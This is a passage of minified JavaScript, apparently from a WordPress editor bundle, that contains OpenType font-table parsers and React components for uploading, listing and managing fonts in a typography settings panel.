t=e.defaultLangSys!==0,r=e.langSysRecords.map(o=&gt;o.langSysTag);return t&amp;&amp;r.unshift(&quot;dflt&quot;),r}getDefaultLangSysTable(e){e=this.ensureScriptTable(e);let t=e.defaultLangSys;if(t!==0){this.parser.currentPosition=e.start+t;let r=new hU(this.parser);return r.langSysTag=&quot;&quot;,r.defaultForScript=e.scriptTag,r}}getLangSysTable(e,t=&quot;dflt&quot;){if(t===&quot;dflt&quot;)return this.getDefaultLangSysTable(e);e=this.ensureScriptTable(e);let r=e.langSysRecords.find(n=&gt;n.langSysTag===t);this.parser.currentPosition=e.start+r.langSysOffset;let o=new hU(this.parser);return o.langSysTag=t,o}getFeatures(e){return e.featureIndices.map(t=&gt;this.getFeature(t))}getFeature(e){let t;if(parseInt(e)==e?t=this.featureList.featureRecords[e]:t=this.featureList.featureRecords.find(o=&gt;o.featureTag===e),!t)return;this.parser.currentPosition=this.featureList.start+t.featureOffset;let r=new x0e(this.parser);return r.featureTag=t.featureTag,r}getLookups(e){return e.lookupListIndices.map(t=&gt;this.getLookup(t))}getLookup(e,t){let r=this.lookupList.lookups[e];return this.parser.currentPosition=this.lookupList.start+r,new o1e(this.parser,t)}},n1e=class extends CU{constructor(e,t){super(e,t,&quot;GSUB&quot;)}getLookup(e){return super.getLookup(e,&quot;GSUB&quot;)}},i1e=Object.freeze({__proto__:null,GSUB:n1e}),s1e=class extends CU{constructor(e,t){super(e,t,&quot;GPOS&quot;)}getLookup(e){return super.getLookup(e,&quot;GPOS&quot;)}},a1e=Object.freeze({__proto__:null,GPOS:s1e}),l1e=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.version=r.uint16,this.offsetToSVGDocumentList=r.Offset32,r.currentPosition=this.tableStart+this.offsetToSVGDocumentList,this.documentList=new c1e(r)}},c1e=class extends pr{constructor(e){super(e),this.numEntries=e.uint16,this.documentRecords=[...new Array(this.numEntries)].map(t=&gt;new u1e(e))}getDocument(e){let t=this.documentRecords[e];if(!t)return&quot;&quot;;let r=this.start+t.svgDocOffset;return this.parser.currentPosition=r,this.parser.readBytes(t.svgDocLength)}getDocumentForGlyph(e){let t=this.documentRecords.findIndex(r=&gt;r.startGlyphID&lt;=e&amp;&amp;e&lt;=r.endGlyphID);return t===-1?&quot;&quot;:this.getDocument(t)}},u1e=class{constructor(e){this.startGlyphID=e.uint16,this.endGlyphID=e.uint16,this.svgDocOffset=e.Offset32,this.svgDocLength=e.uint32}},d1e=Object.freeze({__proto__:null,SVG:l1e}),f1e=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.majorVersion=r.uint16,this.minorVersion=r.uint16,this.axesArrayOffset=r.Offset16,r.uint16,this.axisCount=r.uint16,this.axisSize=r.uint16,this.instanceCount=r.uint16,this.instanceSize=r.uint16;let o=this.tableStart+this.axesArrayOffset;we(this,&quot;axes&quot;,()=&gt;(r.currentPosition=o,[...new Array(this.axisCount)].map(i=&gt;new m1e(r))));let n=o+this.axisCount*this.axisSize;we(this,&quot;instances&quot;,()=&gt;{let i=[];for(let a=0;a&lt;this.instanceCount;a++)r.currentPosition=n+a*this.instanceSize,i.push(new p1e(r,this.axisCount,this.instanceSize));return i})}getSupportedAxes(){return this.axes.map(e=&gt;e.tag)}getAxis(e){return this.axes.find(t=&gt;t.tag===e)}},m1e=class{constructor(e){this.tag=e.tag,this.minValue=e.fixed,this.defaultValue=e.fixed,this.maxValue=e.fixed,this.flags=e.flags(16),this.axisNameID=e.uint16}},p1e=class{constructor(e,t,r){let o=e.currentPosition;this.subfamilyNameID=e.uint16,e.uint16,this.coordinates=[...new Array(t)].map(n=&gt;e.fixed),e.currentPosition-o&lt;r&amp;&amp;(this.postScriptNameID=e.uint16)}},h1e=Object.freeze({__proto__:null,fvar:f1e}),g1e=class extends qe{constructor(e,t){let{p:r}=super(e,t),o=e.length/2;we(this,&quot;items&quot;,()=&gt;[...new Array(o)].map(n=&gt;r.fword))}},v1e=Object.freeze({__proto__:null,cvt:g1e}),y1e=class extends qe{constructor(e,t){let{p:r}=super(e,t);we(this,&quot;instructions&quot;,()=&gt;[...new Array(e.length)].map(o=&gt;r.uint8))}},b1e=Object.freeze({__proto__:null,fpgm:y1e}),S1e=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.version=r.uint16,this.numRanges=r.uint16,we(this,&quot;gaspRanges&quot;,()=&gt;[...new Array(this.numRanges)].map(n=&gt;new _1e(r)))}},_1e=class{constructor(e){this.rangeMaxPPEM=e.uint16,this.rangeGaspBehavior=e.uint16}},w1e=Object.freeze({__proto__:null,gasp:S1e}),x1e=class extends qe{constructor(e,t){super(e,t)}getGlyphData(e,t){return this.parser.currentPosition=this.tableStart+e,this.parser.readBytes(t)}},C1e=Object.freeze({__proto__:null,glyf:x1e}),T1e=class extends qe{constructor(e,t,r){let{p:o}=super(e,t),n=r.maxp.numGlyphs+1;r.head.indexToLocFormat===0?(this.x2=!0,we(this,&quot;offsets&quot;,()=&gt;[...new Array(n)].map(i=&gt;o.Offset16))):we(this,&quot;offsets&quot;,()=&gt;[...new Array(n)].map(i=&gt;o.Offset32))}getGlyphDataOffsetAndLength(e){let t=this.offsets[e]*this.x2?2:1,r=this.offsets[e+1]*this.x2?2:1;return{offset:t,length:r-t}}},P1e=Object.freeze({__proto__:null,loca:T1e}),k1e=class extends qe{constructor(e,t){let{p:r}=super(e,t);we(this,&quot;instructions&quot;,()=&gt;[...new Array(e.length)].map(o=&gt;r.uint8))}},E1e=Object.freeze({__proto__:null,prep:k1e}),R1e=class extends qe{constructor(e,t){let{p:r}=super(e,t);we(this,&quot;data&quot;,()=&gt;r.readBytes())}},A1e=Object.freeze({__proto__:null,CFF:R1e}),O1e=class extends qe{constructor(e,t){let{p:r}=super(e,t);we(this,&quot;data&quot;,()=&gt;r.readBytes())}},I1e=Object.freeze({__proto__:null,CFF2:O1e}),N1e=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.majorVersion=r.uint16,this.minorVersion=r.uint16,this.defaultVertOriginY=r.int16,this.numVertOriginYMetrics=r.uint16,we(this,&quot;vertORiginYMetrics&quot;,()=&gt;[...new Array(this.numVertOriginYMetrics)].map(o=&gt;new F1e(r)))}},F1e=class{constructor(e){this.glyphIndex=e.uint16,this.vertOriginY=e.int16}},D1e=Object.freeze({__proto__:null,VORG:N1e}),B1e=class{constructor(e){this.indexSubTableArrayOffset=e.Offset32,this.indexTablesSize=e.uint32,this.numberofIndexSubTables=e.uint32,this.colorRef=e.uint32,this.hori=new xx(e),this.vert=new xx(e),this.startGlyphIndex=e.uint16,this.endGlyphIndex=e.uint16,this.ppemX=e.uint8,this.ppemY=e.uint8,this.bitDepth=e.uint8,this.flags=e.int8}},M1e=class{constructor(e){this.hori=new xx(e),this.vert=new xx(e),this.ppemX=e.uint8,this.ppemY=e.uint8,this.substitutePpemX=e.uint8,this.substitutePpemY=e.uint8}},xx=class{constructor(e){this.ascender=e.int8,this.descender=e.int8,this.widthMax=e.uint8,this.caretSlopeNumerator=e.int8,this.caretSlopeDenominator=e.int8,this.caretOffset=e.int8,this.minOriginSB=e.int8,this.minAdvanceSB=e.int8,this.maxBeforeBL=e.int8,this.minAfterBL=e.int8,this.pad1=e.int8,this.pad2=e.int8}},TU=class extends qe{constructor(e,t,r){let{p:o}=super(e,t,r);this.majorVersion=o.uint16,this.minorVersion=o.uint16,this.numSizes=o.uint32,we(this,&quot;bitMapSizes&quot;,()=&gt;[...new Array(this.numSizes)].map(n=&gt;new B1e(o)))}},L1e=Object.freeze({__proto__:null,EBLC:TU}),PU=class extends qe{constructor(e,t,r){let{p:o}=super(e,t,r);this.majorVersion=o.uint16,this.minorVersion=o.uint16}},V1e=Object.freeze({__proto__:null,EBDT:PU}),j1e=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.majorVersion=r.uint16,this.minorVersion=r.uint16,this.numSizes=r.uint32,we(this,&quot;bitmapScales&quot;,()=&gt;[...new Array(this.numSizes)].map(o=&gt;new M1e(r)))}},z1e=Object.freeze({__proto__:null,EBSC:j1e}),U1e=class extends TU{constructor(e,t){super(e,t,&quot;CBLC&quot;)}},H1e=Object.freeze({__proto__:null,CBLC:U1e}),G1e=class extends PU{constructor(e,t){super(e,t,&quot;CBDT&quot;)}},W1e=Object.freeze({__proto__:null,CBDT:G1e}),Y1e=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.version=r.uint16,this.flags=r.flags(16),this.numStrikes=r.uint32,we(this,&quot;strikeOffsets&quot;,()=&gt;[...new Array(this.numStrikes)].map(o=&gt;r.Offset32))}},q1e=Object.freeze({__proto__:null,sbix:Y1e}),Z1e=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.version=r.uint16,this.numBaseGlyphRecords=r.uint16,this.baseGlyphRecordsOffset=r.Offset32,this.layerRecordsOffset=r.Offset32,this.numLayerRecords=r.uint16}getBaseGlyphRecord(e){let t=this.tableStart+this.baseGlyphRecordsOffset;this.parser.currentPosition=t;let r=new B6(this.parser),o=r.gID,n=this.tableStart+this.layerRecordsOffset-6;this.parser.currentPosition=n;let i=new B6(this.parser),a=i.gID;if(o===e)return r;if(a===e)return i;for(;t!==n;){let l=t+(n-t)/12;this.parser.currentPosition=l;let c=new B6(this.parser),u=c.gID;if(u===e)return c;u&gt;e?n=l:u&lt;e&amp;&amp;(t=l)}return!1}getLayers(e){let t=this.getBaseGlyphRecord(e);return this.parser.currentPosition=this.tableStart+this.layerRecordsOffset+4*t.firstLayerIndex,[...new Array(t.numLayers)].map(r=&gt;new K1e(p))}},B6=class{constructor(e){this.gID=e.uint16,this.firstLayerIndex=e.uint16,this.numLayers=e.uint16}},K1e=class{constructor(e){this.gID=e.uint16,this.paletteIndex=e.uint16}},X1e=Object.freeze({__proto__:null,COLR:Z1e}),Q1e=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.version=r.uint16,this.numPaletteEntries=r.uint16;let o=this.numPalettes=r.uint16;this.numColorRecords=r.uint16,this.offsetFirstColorRecord=r.Offset32,this.colorRecordIndices=[...new Array(this.numPalettes)].map(n=&gt;r.uint16),we(this,&quot;colorRecords&quot;,()=&gt;(r.currentPosition=this.tableStart+this.offsetFirstColorRecord,[...new Array(this.numColorRecords)].map(n=&gt;new J1e(r)))),this.version===1&amp;&amp;(this.offsetPaletteTypeArray=r.Offset32,this.offsetPaletteLabelArray=r.Offset32,this.offsetPaletteEntryLabelArray=r.Offset32,we(this,&quot;paletteTypeArray&quot;,()=&gt;(r.currentPosition=this.tableStart+this.offsetPaletteTypeArray,new $1e(r,o))),we(this,&quot;paletteLabelArray&quot;,()=&gt;(r.currentPosition=this.tableStart+this.offsetPaletteLabelArray,new eSe(r,o))),we(this,&quot;paletteEntryLabelArray&quot;,()=&gt;(r.currentPosition=this.tableStart+this.offsetPaletteEntryLabelArray,new tSe(r,o))))}},J1e=class{constructor(e){this.blue=e.uint8,this.green=e.uint8,this.red=e.uint8,this.alpha=e.uint8}},$1e=class{constructor(e,t){this.paletteTypes=[...new Array(t)].map(r=&gt;e.uint32)}},eSe=class{constructor(e,t){this.paletteLabels=[...new Array(t)].map(r=&gt;e.uint16)}},tSe=class{constructor(e,t){this.paletteEntryLabels=[...new Array(t)].map(r=&gt;e.uint16)}},rSe=Object.freeze({__proto__:null,CPAL:Q1e}),oSe=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.version=r.uint32,this.numSignatures=r.uint16,this.flags=r.uint16,this.signatureRecords=[...new Array(this.numSignatures)].map(o=&gt;new nSe(r))}getData(e){let t=this.signatureRecords[e];return this.parser.currentPosition=this.tableStart+t.offset,new iSe(this.parser)}},nSe=class{constructor(e){this.format=e.uint32,this.length=e.uint32,this.offset=e.Offset32}},iSe=class{constructor(e){e.uint16,e.uint16,this.signatureLength=e.uint32,this.signature=e.readBytes(this.signatureLength)}},sSe=Object.freeze({__proto__:null,DSIG:oSe}),aSe=class extends qe{constructor(e,t,r){let{p:o}=super(e,t),n=r.hmtx.numGlyphs;this.version=o.uint16,this.numRecords=o.int16,this.sizeDeviceRecord=o.int32,this.records=[...new Array(numRecords)].map(i=&gt;new lSe(o,n))}},lSe=class{constructor(e,t){this.pixelSize=e.uint8,this.maxWidth=e.uint8,this.widths=e.readBytes(t)}},cSe=Object.freeze({__proto__:null,hdmx:aSe}),uSe=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.version=r.uint16,this.nTables=r.uint16,we(this,&quot;tables&quot;,()=&gt;{let o=this.tableStart+4,n=[];for(let i=0;i&lt;this.nTables;i++){r.currentPosition=o;let a=new dSe(r);n.push(a),o+=a}return n})}},dSe=class{constructor(e){this.version=e.uint16,this.length=e.uint16,this.coverage=e.flags(8),this.format=e.uint8,this.format===0&amp;&amp;(this.nPairs=e.uint16,this.searchRange=e.uint16,this.entrySelector=e.uint16,this.rangeShift=e.uint16,we(this,&quot;pairs&quot;,()=&gt;[...new Array(this.nPairs)].map(t=&gt;new fSe(e)))),this.format===2&amp;&amp;console.warn(&quot;Kern subtable format 2 is not supported: this parser currently only parses universal table data.&quot;)}get horizontal(){return this.coverage[0]}get minimum(){return this.coverage[1]}get crossstream(){return this.coverage[2]}get override(){return this.coverage[3]}},fSe=class{constructor(e){this.left=e.uint16,this.right=e.uint16,this.value=e.fword}},mSe=Object.freeze({__proto__:null,kern:uSe}),pSe=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.version=r.uint16,this.numGlyphs=r.uint16,this.yPels=r.readBytes(this.numGlyphs)}},hSe=Object.freeze({__proto__:null,LTSH:pSe}),gSe=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.version=r.uint16,this.mergeClassCount=r.uint16,this.mergeDataOffset=r.Offset16,this.classDefCount=r.uint16,this.offsetToClassDefOffsets=r.Offset16,we(this,&quot;mergeEntryMatrix&quot;,()=&gt;[...new Array(this.mergeClassCount)].map(o=&gt;r.readBytes(this.mergeClassCount))),console.warn(&quot;Full MERG parsing is currently not supported.&quot;),console.warn(&quot;If you need this table parsed, please file an issue, or better yet, a PR.&quot;)}},vSe=Object.freeze({__proto__:null,MERG:gSe}),ySe=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.version=r.uint32,this.flags=r.uint32,r.uint32,this.dataMapsCount=r.uint32,this.dataMaps=[...new Array(this.dataMapsCount)].map(o=&gt;new bSe(this.tableStart,r))}},bSe=class{constructor(e,t){this.tableStart=e,this.parser=t,this.tag=t.tag,this.dataOffset=t.Offset32,this.dataLength=t.uint32}getData(){return this.parser.currentField=this.tableStart+this.dataOffset,this.parser.readBytes(this.dataLength)}},SSe=Object.freeze({__proto__:null,meta:ySe}),_Se=class extends qe{constructor(e,t){super(e,t),console.warn(&quot;This font uses a PCLT table, which is currently not supported by this parser.&quot;),console.warn(&quot;If you need this table parsed, please file an issue, or better yet, a PR.&quot;)}},wSe=Object.freeze({__proto__:null,PCLT:_Se}),xSe=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.version=r.uint16,this.numRecs=r.uint16,this.numRatios=r.uint16,this.ratRanges=[...new Array(this.numRatios)].map(o=&gt;new CSe(r)),this.offsets=[...new Array(this.numRatios)].map(o=&gt;r.Offset16),this.VDMXGroups=[...new Array(this.numRecs)].map(o=&gt;new TSe(r))}},CSe=class{constructor(e){this.bCharSet=e.uint8,this.xRatio=e.uint8,this.yStartRatio=e.uint8,this.yEndRatio=e.uint8}},TSe=class{constructor(e){this.recs=e.uint16,this.startsz=e.uint8,this.endsz=e.uint8,this.records=[...new Array(this.recs)].map(t=&gt;new PSe(e))}},PSe=class{constructor(e){this.yPelHeight=e.uint16,this.yMax=e.int16,this.yMin=e.int16}},kSe=Object.freeze({__proto__:null,VDMX:xSe}),ESe=class extends qe{constructor(e,t){let{p:r}=super(e,t);this.version=r.fixed,this.ascent=this.vertTypoAscender=r.int16,this.descent=this.vertTypoDescender=r.int16,this.lineGap=this.vertTypoLineGap=r.int16,this.advanceHeightMax=r.int16,this.minTopSideBearing=r.int16,this.minBottomSideBearing=r.int16,this.yMaxExtent=r.int16,this.caretSlopeRise=r.int16,this.caretSlopeRun=r.int16,this.caretOffset=r.int16,this.reserved=r.int16,this.reserved=r.int16,this.reserved=r.int16,this.reserved=r.int16,this.metricDataFormat=r.int16,this.numOfLongVerMetrics=r.uint16,r.verifyLength()}},RSe=Object.freeze({__proto__:null,vhea:ESe}),ASe=class extends qe{constructor(e,t,r){super(e,t);let o=r.vhea.numOfLongVerMetrics,n=r.maxp.numGlyphs,i=p.currentPosition;if(lazy(this,&quot;vMetrics&quot;,()=&gt;(p.currentPosition=i,[...new Array(o)].map(a=&gt;new OSe(p.uint16,p.int16)))),o&lt;n){let a=i+o*4;lazy(this,&quot;topSideBearings&quot;,()=&gt;(p.currentPosition=a,[...new Array(n-o)].map(l=&gt;p.int16)))}}},OSe=class{constructor(e,t){this.advanceHeight=e,this.topSideBearing=t}},ISe=Object.freeze({__proto__:null,vmtx:ASe});var kU=s(A(),1);var{kebabCase:NSe}=rt(kU.privateApis);function EU(e){let t=e.reduce((r,o)=&gt;(r[o.fontFamily]||(r[o.fontFamily]={name:o.fontFamily,fontFamily:o.fontFamily,slug:NSe(o.fontFamily.toLowerCase()),fontFace:[]}),r[o.fontFamily].fontFace.push(o),r),{});return Object.values(t)}var ni=s(C(),1);function FSe(){let{installFonts:e}=(0,Rb.useContext)(Lo),[t,r]=(0,Rb.useState)(!1),[o,n]=(0,Rb.useState)(null),i=h=&gt;{l(h)},a=h=&gt;{l(h.target.files)},l=async h=&gt;{if(!h)return;n(null),r(!0);let g=new Set,v=[...h],y=!1,b=v.map(async S=&gt;{if(!await u(S))return y=!0,null;if(g.has(S.name))return null;let T=(((S.name??&quot;&quot;).split(&quot;.&quot;)??[]).pop()??&quot;&quot;).toLowerCase();return O6.includes(T)?(g.add(S.name),S):null}),_=(await Promise.all(b)).filter(S=&gt;S!==null);if(_.length&gt;0)c(_);else{let S=y?(0,ah.__)(&quot;Sorry, you are not allowed to upload this file type.&quot;):(0,ah.__)(&quot;No fonts found to install.&quot;);n({type:&quot;error&quot;,message:S}),r(!1)}},c=async h=&gt;{let g=await Promise.all(h.map(async v=&gt;{let y=await f(v);return await Lu(y,y.file,&quot;all&quot;),y}));m(g)};async function u(h){let g=new Cx(&quot;Uploaded Font&quot;);try{let v=await d(h);return await g.fromDataBuffer(v,&quot;font&quot;),!0}catch{return!1}}async function d(h){return new Promise((g,v)=&gt;{let y=new window.FileReader;y.readAsArrayBuffer(h),y.onload=()=&gt;g(y.result),y.onerror=v})}let f=async h=&gt;{let g=await d(h),v=new Cx(&quot;Uploaded Font&quot;);v.fromDataBuffer(g,h.name);let b=(await new Promise(z=&gt;v.onload=z)).detail.font,{name:_}=b.opentype.tables,S=_.get(16)||_.get(1),x=_.get(2).toLowerCase().includes(&quot;italic&quot;),T=b.opentype.tables[&quot;OS/2&quot;].usWeightClass||&quot;normal&quot;,F=!!b.opentype.tables.fvar&amp;&amp;b.opentype.tables.fvar.axes.find(({tag:z})=&gt;z===&quot;wght&quot;),B=F?`${F.minValue} ${F.maxValue}`:null;return{file:h,fontFamily:S,fontStyle:x?&quot;italic&quot;:&quot;normal&quot;,fontWeight:B||T}},m=async h=&gt;{let g=EU(h);try{await e(g),n({type:&quot;success&quot;,message:(0,ah.__)(&quot;Fonts were installed successfully.&quot;)})}catch(v){let y=v;n({type:&quot;error&quot;,message:y.message,errors:y?.installationErrors})}r(!1)};return(0,ni.jsxs)(&quot;div&quot;,{className:&quot;font-library__tabpanel-layout&quot;,children:[(0,ni.jsx)(on.DropZone,{onFilesDrop:i}),(0,ni.jsxs)(on.__experimentalVStack,{className:&quot;font-library__local-fonts&quot;,justify:&quot;start&quot;,children:[o&amp;&amp;(0,ni.jsxs)(on.Notice,{status:o.type,__unstableHTML:!0,onRemove:()=&gt;n(null),children:[o.message,o.errors&amp;&amp;(0,ni.jsx)(&quot;ul&quot;,{children:o.errors.map((h,g)=&gt;(0,ni.jsx)(&quot;li&quot;,{children:h},g))})]}),t&amp;&amp;(0,ni.jsx)(on.FlexItem,{children:(0,ni.jsx)(&quot;div&quot;,{className:&quot;font-library__upload-area&quot;,children:(0,ni.jsx)(on.ProgressBar,{})})}),!t&amp;&amp;(0,ni.jsx)(on.FormFileUpload,{accept:O6.map(h=&gt;`.${h}`).join(&quot;,&quot;),multiple:!0,onChange:a,render:({openFileDialog:h})=&gt;(0,ni.jsx)(on.Button,{__next40pxDefaultSize:!0,className:&quot;font-library__upload-area&quot;,onClick:h,children:(0,ah.__)(&quot;Upload font&quot;)})}),(0,ni.jsx)(on.__experimentalText,{className:&quot;font-library__upload-area__text&quot;,children:(0,ah.__)(&quot;Uploaded fonts appear in your library and can be used in your theme. Supported formats: .ttf, .otf, .woff, and .woff2.&quot;)})]})]})}var Tx=FSe;var Ks=s(C(),1),{Tabs:Px}=rt(kx.privateApis),DSe={id:&quot;installed-fonts&quot;,title:(0,lh._x)(&quot;Library&quot;,&quot;Font library&quot;)},BSe={id:&quot;upload-fonts&quot;,title:(0,lh._x)(&quot;Upload&quot;,&quot;noun&quot;)},MSe=e=&gt;e.map(({slug:t,name:r})=&gt;({id:t,title:e.length===1&amp;&amp;t===&quot;google-fonts&quot;?(0,lh.__)(&quot;Install Fonts&quot;):r}));function LSe({onRequestClose:e,defaultTabId:t=&quot;installed-fonts&quot;}){let{records:r=[]}=(0,Ex.useEntityRecords)(&quot;root&quot;,&quot;fontCollection&quot;,{_fields:&quot;slug,name,description&quot;}),o=(0,RU.useSelect)(i=&gt;i(Ex.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_font_family&quot;}),[]),n=[DSe];return o&amp;&amp;(n.push(BSe),n.push(...MSe(r||[]))),(0,Ks.jsx)(kx.Modal,{title:(0,lh.__)(&quot;Fonts&quot;),onRequestClose:e,isFullScreen:!0,className:&quot;font-library-modal&quot;,children:(0,Ks.jsxs)(Px,{defaultTabId:t,children:[(0,Ks.jsx)(&quot;div&quot;,{className:&quot;font-library-modal__tablist-container&quot;,children:(0,Ks.jsx)(Px.TabList,{children:n.map(({id:i,title:a})=&gt;(0,Ks.jsx)(Px.Tab,{tabId:i,children:a},i))})}),n.map(({id:i})=&gt;{let a;switch(i){case&quot;upload-fonts&quot;:a=(0,Ks.jsx)(Tx,{});break;case&quot;installed-fonts&quot;:a=(0,Ks.jsx)(gx,{});break;default:a=(0,Ks.jsx)(yx,{slug:i})}return(0,Ks.jsx)(Px.TabPanel,{tabId:i,focusable:!1,className:&quot;font-library-modal__tab-panel&quot;,children:a},i)})]})})}var AU=LSe;var Rx=s(E(),1),jf=s(A(),1),OU=s(D(),1);var ch=s(C(),1);function VSe({font:e}){let{handleSetLibraryFontSelected:t,setModalTabOpen:r}=(0,OU.useContext)(Lo),o=e?.fontFace?.length||1,n=()=&gt;{t?.(e),r?.(&quot;installed-fonts&quot;)},i=Af(e);return(0,ch.jsx)(jf.__experimentalItem,{onClick:n,children:(0,ch.jsxs)(jf.__experimentalHStack,{justify:&quot;space-between&quot;,children:[(0,ch.jsx)(jf.FlexItem,{style:i,children:e.name}),(0,ch.jsx)(jf.FlexItem,{className:&quot;global-styles-ui-screen-typography__font-variants-count&quot;,children:(0,Rx.sprintf)((0,Rx._n)(&quot;%d variant&quot;,&quot;%d variants&quot;,o),o)})]})})}var IU=VSe;var qr=s(C(),1);function NU(e,t){return e?e.map(r=&gt;Ql(r,{source:t})):[]}function jSe(){let{baseCustomFonts:e,modalTabOpen:t,setModalTabOpen:r}=(0,FU.useContext)(Lo),[o]=pe(&quot;typography.fontFamilies&quot;),[n]=pe(&quot;typography.fontFamilies&quot;,void 0,&quot;base&quot;),i=NU(o?.theme,&quot;theme&quot;),a=NU(o?.custom,&quot;custom&quot;),l=[...i,...a].sort((d,f)=&gt;d.name.localeCompare(f.name)),c=0&lt;l.length,u=c||n?.theme?.length&gt;0||(e?.length??0)&gt;0;return(0,qr.jsxs)(qr.Fragment,{children:[!!t&amp;&amp;(0,qr.jsx)(AU,{onRequestClose:()=&gt;r?.(&quot;&quot;),defaultTabId:t}),(0,qr.jsxs)(Xs.__experimentalVStack,{spacing:2,children:[(0,qr.jsxs)(Xs.__experimentalHStack,{justify:&quot;space-between&quot;,children:[(0,qr.jsx)(Tr,{level:3,children:(0,zf.__)(&quot;Fonts&quot;)}),(0,qr.jsx)(Xs.Button,{onClick:()=&gt;r?.(&quot;installed-fonts&quot;),label:(0,zf.__)(&quot;Manage fonts&quot;),icon:FA,size:&quot;small&quot;})]}),l.length&gt;0&amp;&amp;(0,qr.jsx)(qr.Fragment,{children:(0,qr.jsx)(Xs.__experimentalItemGroup,{size:&quot;large&quot;,isBordered:!0,isSeparated:!0,children:l.map(d=&gt;(0,qr.jsx)(IU,{font:d},d.slug))})}),!c&amp;&amp;(0,qr.jsxs)(qr.Fragment,{children:[(0,qr.jsx)(Xs.__experimentalText,{as:&quot;p&quot;,children:u?(0,zf.__)(&quot;No fonts activated.&quot;):(0,zf.__)(&quot;No fonts installed.&quot;)}),(0,qr.jsx)(Xs.Button,{className:&quot;global-styles-ui-font-families__manage-fonts&quot;,variant:&quot;secondary&quot;,__next40pxDefaultSize:!0,onClick:()=&gt;{r?.(u?&quot;installed-fonts&quot;:&quot;upload-fonts&quot;)},children:u?(0,zf.__)(&quot;Manage fonts&quot;):(0,zf.__)(&quot;Add fonts&quot;)})]})]})]})}function DU({...e}){return(0,qr.jsx)(dx,{children:(0,qr.jsx)(jSe,{...e})})}var Ab=s(E(),1),tc=s(A(),1);var za=s(C(),1);function zSe(){return(0,za.jsxs)(tc.__experimentalVStack,{spacing:2,children:[(0,za.jsx)(tc.__experimentalHStack,{justify:&quot;space-between&quot;,children:(0,za.jsx)(Tr,{level:3,children:(0,Ab.__)(&quot;Font Sizes&quot;)})}),(0,za.jsx)(tc.__experimentalItemGroup,{isBordered:!0,isSeparated:!0,children:(0,za.jsx)(fr,{path:&quot;/typography/font-sizes&quot;,children:(0,za.jsxs)(tc.__experimentalHStack,{direction:&quot;row&quot;,children:[(0,za.jsx)(tc.FlexItem,{children:(0,Ab.__)(&quot;Font size presets&quot;)}),(0,za.jsx)(No,{icon:(0,Ab.isRTL)()?Nt:Ft})]})})})]})}var BU=zSe;var fs=s(C(),1);function USe(){let{fontLibraryEnabled:e}=(0,LU.useContext)(Br);return(0,fs.jsxs)(fs.Fragment,{children:[(0,fs.jsx)(St,{title:(0,Ax.__)(&quot;Typography&quot;),description:(0,Ax.__)(&quot;Available fonts, typographic styles, and the application of those styles.&quot;)}),(0,fs.jsx)(Bu,{children:(0,fs.jsxs)(MU.__experimentalVStack,{spacing:7,children:[(0,fs.jsx)(oh,{title:(0,Ax.__)(&quot;Typesets&quot;)}),e&amp;&amp;(0,fs.jsx)(DU,{}),(0,fs.jsx)(Pz,{}),(0,fs.jsx)(BU,{})]})})]})}var VU=USe;var Bt=s(E(),1),Ni=s(A(),1),YU=s(D(),1);var jU=s($(),1);var zU=s(C(),1),{useSettingsForBlockElement:HSe,TypographyPanel:GSe}=rt(jU.privateApis);function UU({element:e,headingLevel:t}){let r=[];e===&quot;heading&quot;?r=r.concat([&quot;elements&quot;,t]):e&amp;&amp;e!==&quot;text&quot;&amp;&amp;(r=r.concat([&quot;elements&quot;,e]));let o=r.join(&quot;.&quot;),[n]=Ee(o,&quot;&quot;,&quot;user&quot;,!1),[i,a]=Ee(o,&quot;&quot;,&quot;merged&quot;,!1),[l]=pe(&quot;&quot;),u=HSe(l,void 0,e===&quot;heading&quot;?t:e);return(0,zU.jsx)(GSe,{inheritedValue:i,value:n,onChange:a,settings:u})}var HU=s(C(),1);function GU({name:e,element:t,headingLevel:r}){let o=&quot;&quot;;t===&quot;heading&quot;?o=`elements.${r}.`:t&amp;&amp;t!==&quot;text&quot;&amp;&amp;(o=`elements.${t}.`);let[n]=Ee(o+&quot;typography.fontFamily&quot;,e),[i]=Ee(o+&quot;color.gradient&quot;,e),[a]=Ee(o+&quot;color.background&quot;,e),[l]=Ee(&quot;color.background&quot;),[c]=Ee(o+&quot;color.text&quot;,e),[u]=Ee(o+&quot;typography.fontSize&quot;,e),[d]=Ee(o+&quot;typography.fontStyle&quot;,e),[f]=Ee(o+&quot;typography.fontWeight&quot;,e),[m]=Ee(o+&quot;typography.letterSpacing&quot;,e);return(0,HU.jsx)(&quot;div&quot;,{className:&quot;global-styles-ui-typography-preview&quot;,style:{fontFamily:n??&quot;serif&quot;,background:i??a??l,color:c,fontSize:u,fontStyle:d,fontWeight:f,letterSpacing:m,...t===&quot;link&quot;?{textDecoration:&quot;underline&quot;}:{}},children:&quot;Aa&quot;})}var So=s(C(),1),WU={text:{description:(0,Bt.__)(&quot;Manage the fonts used on the site.&quot;),title:(0,Bt.__)(&quot;Text&quot;)},link:{description:(0,Bt.__)(&quot;Manage the fonts and typography used on the links.&quot;),title:(0,Bt.__)(&quot;Links&quot;)},heading:{description:(0,Bt.__)(&quot;Manage the fonts and typography used on headings.&quot;),title:(0,Bt.__)(&quot;Headings&quot;)},caption:{description:(0,Bt.__)(&quot;Manage the fonts and typography used on captions.&quot;),title:(0,Bt.__)(&quot;Captions&quot;)},button:{description:(0,Bt.__)(&quot;Manage the fonts and typography used on buttons.&quot;),title:(0,Bt.__)(&quot;Buttons&quot;)}};function 